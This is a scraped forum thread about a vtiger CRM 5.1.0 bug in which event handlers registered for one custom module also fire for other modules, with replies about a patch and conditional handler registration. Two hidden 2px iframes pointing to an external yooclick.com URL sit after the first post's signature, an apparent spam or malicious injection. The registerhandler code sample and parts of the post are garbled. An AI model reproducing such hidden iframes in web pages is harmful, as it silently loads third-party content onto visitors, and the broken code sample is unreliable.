Hi all,
I guess I found a bug in the eventing logic, or I just do not know how to use it properly. In the latter case we might have a bug in the documentation <!-- s;-) --><img src="{SMILIES_PATH}/icon_wink.gif" alt=";-)" title="Wink" /><!-- s;-) -->
Assuming:
I have two custom modules (A and
.
Both custom modules implement own event handlers (AHandler, BHandler) for the events vtiger.entity.aftersave and vtiger.entity.beforesave.
I do have the according entries in the tables vtiger_eventhandlers and vtiger_eventhandler_module as well.
After implementing the eventhandler of module B for event vtiger.entity.beforesave I realized that this event handler is executed when module A is saved.
I had a look at the according event sources and it seems to me that there is no logic implemented that matches which event handler to use for which module. It just catches the next event handler class from the table vtiger_eventhandlers, without considering the data stored in table vtiger_eventhandlers_module (which handler to use for which module).
There is a method implemented to read vtiger_eventhandlers_module, but it is not used at all in vtiger 5.1.0!
Any clues?
Is this an open development topic?
Kind Regards
Andreas <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
the patch is attached to this post.
i added a portion of code to vteventtrigger that ensures that the correct module handler gets included.
please add any comments that improve the approach.
regards
andreas
i add the link here for completeness
<!-- m --><a class="postlink" href="http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/5468">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/5468</a><!-- m -->
joe
tsolucio
thank you very much andreas.
"it is also possible for you to specify conditions that restrict when the
handler will be executed. you might want an event to be fired only for
changes in a particular module. currently the conditions are restricted to
selecting module names
example:
require 'include/events/include.inc';
$em = new vteventsmanager($adb);
$em->registerhandler($eventname, $filepath, $classname, 'modulename in
);
in the above example the event will only be triggered if the triggering
entity is of the module contacts or accounts."
kind regards
andreas
i tried the condition-stuff and it crashed the ui with printing millions of variables to the screen...
so i am still with the approach described in the diff given above and it works fine for me.
regards
andreas
exception is thrown by parser/lexer... so i think there is error in condition string. but how it has to look like i dont have a clue. parser/lexer code is too complicated and i dont have time to dig in.
i would ask someone of you guys who managed to condition event to be nice and tell us how you do it.
thanks in advance!
<!-- l --><a class="postlink-local" href="http://forum.vtiger.com/viewtopic.php?p=129253&sid=435da04afc25f2358997655e6ef8e63a#p129253">viewtopic.php?p=129253&sid=435da04afc25f2358997655e6ef8e63a#p129253</a><!-- l -->